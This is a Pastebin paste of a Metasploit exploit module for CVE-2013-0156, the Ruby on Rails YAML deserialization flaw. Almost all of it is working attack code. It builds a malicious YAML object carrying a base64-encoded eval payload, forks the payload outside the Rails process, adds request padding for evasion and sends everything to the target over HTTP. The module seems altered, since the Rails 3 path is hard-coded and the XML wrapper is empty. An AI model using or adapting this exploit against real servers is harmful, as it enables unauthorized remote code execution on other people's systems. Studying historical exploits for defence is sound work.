daily pastebin goal
33%
SHARE
TWEET

Untitled

a guest Jan 28th, 2013 179 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. #   http://metasploit.com/
  6. ##
  7.  
  8. require 'msf/core'
  9.  
  10. class Metasploit3 < Msf::Exploit::Remote
  11.         Rank = ExcellentRanking
  12.  
  13.         include Msf::Exploit::CmdStagerTFTP
  14.         include Msf::Exploit::Remote::HttpClient
  15.  
  16.         def initialize(info = {})
  17.                 super(update_info(info,
  18.                         'Name'           => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
  19.                         'Description'    => %q{
  20.                                         This module exploits a remote code execution vulnerability in the XML request
  21.                                 processor of the Ruby on Rails application framework. This vulnerability allows
  22.                                 an attacker to instantiate a remote object, which in turn can be used to execute
  23.                                 any ruby code remotely in the context of the application.
  24.  
  25.                                 This module has been tested across multiple versions of RoR 3.x and RoR 2.x
  26.                         },
  27.                         'Author'         =>
  28.                                 [
  29.                                         'charliesome',  # PoC
  30.                                         'espes',       # PoC and Metasploit module
  31.                                         'lian',        # Identified the RouteSet::NamedRouteCollection vector
  32.                                         'hdm'          # Module merge/conversion/payload work
  33.                                 ],
  34.                         'License'        => MSF_LICENSE,
  35.                         'References'  =>
  36.                                 [
  37.                                         ['CVE', '2013-0156'],
  38.                                         ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156']
  39.                                 ],
  40.                         'Platform'       => 'ruby',
  41.                         'Arch'           => ARCH_RUBY,
  42.                         'Privileged'     => false,
  43.                         'Targets'        =>     [ ['Automatic', {} ] ],
  44.                         'DisclosureDate' => 'Jan 7 2013',
  45.                         'DefaultTarget' => 0))
  46.  
  47.                 register_options(
  48.                         [
  49.                                 Opt::RPORT(80),
  50.                                 OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
  51.                                 OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
  52.  
  53.                         ], self.class)
  54.  
  55.                 register_evasion_options(
  56.                         [
  57.                                 OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
  58.                         ], self.class)
  59.         end
  60.  
  61.  
  62.         #
  63.         # This stub ensures that the payload runs outside of the Rails process
  64.         # Otherwise, the session can be killed on timeout
  65.         #
  66.         def detached_payload_stub(code)
  67.         %Q^
  68.                 code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
  69.                 if RUBY_PLATFORM =~ /mswin|mingw|win32/
  70.                         inp = IO.popen("ruby", "wb") rescue nil
  71.                         if inp
  72.                                 inp.write(code)
  73.                                 inp.close
  74.                         end
  75.                 else
  76.                         if ! Process.fork()
  77.                                 eval(code) rescue nil
  78.                         end
  79.                 end
  80.         ^.strip.split(/\n/).map{|line| line.strip}.join("\n")
  81.         end
  82.  
  83.         #
  84.         # Create the YAML document that will be embedded into the XML
  85.         #
  86.         def build_yaml_rails2
  87.  
  88.                 # Embed the payload with the detached stub
  89.                 code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
  90.                 yaml =
  91.                         "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
  92.                         "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
  93.                         "eval(%[#{code}].unpack(%[m0])[0]);' " +
  94.                         ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n   " +
  95.                         ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n     :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
  96.                         ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
  97.                 yaml
  98.         end
  99.  
  100.  
  101.         #
  102.         # Create the YAML document that will be embedded into the XML
  103.         #
  104.         def build_yaml_rails3
  105.  
  106.                 # Embed the payload with the detached stub
  107.                 code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
  108.                 yaml =
  109.                         "--- !ruby/hash\:ActionDispatch\:\:Routing\:\:RouteSet\:\:NamedRouteCollection\n" +
  110.                         "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
  111.                         "eval(%[#{code}].unpack(%[m0])[0]);' " +
  112.                         "\: !ruby/object:OpenStruct\n table\:\n  \:defaults\: {}\n"
  113.                 yaml.gsub(':','\u003a')
  114.         end
  115.  
  116.  
  117.         #
  118.         # Create the XML wrapper with any desired evasion
  119.         #
  120.         def build_request(v)
  121.                 xml = ''
  122.  
  123.                 xml << build_yaml_rails3
  124.                
  125.  
  126.                 xml
  127.         end
  128.  
  129.         #
  130.         # Send the actual request
  131.         #
  132.         def exploit
  133.  
  134.                 print_status("Sending Railsv3 request to #{rhost}:#{rport}...")
  135.                 res = send_request_cgi({
  136.                         'uri'    => datastore['URIPATH'] || "/",
  137.                         'method' => datastore['HTTP_METHOD'],
  138.                         'ctype'  => 'application/json',
  139.                         'data'   => build_request(3)
  140.                 }, 25)
  141.                 handler
  142.  
  143.  
  144.         end
  145. end
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top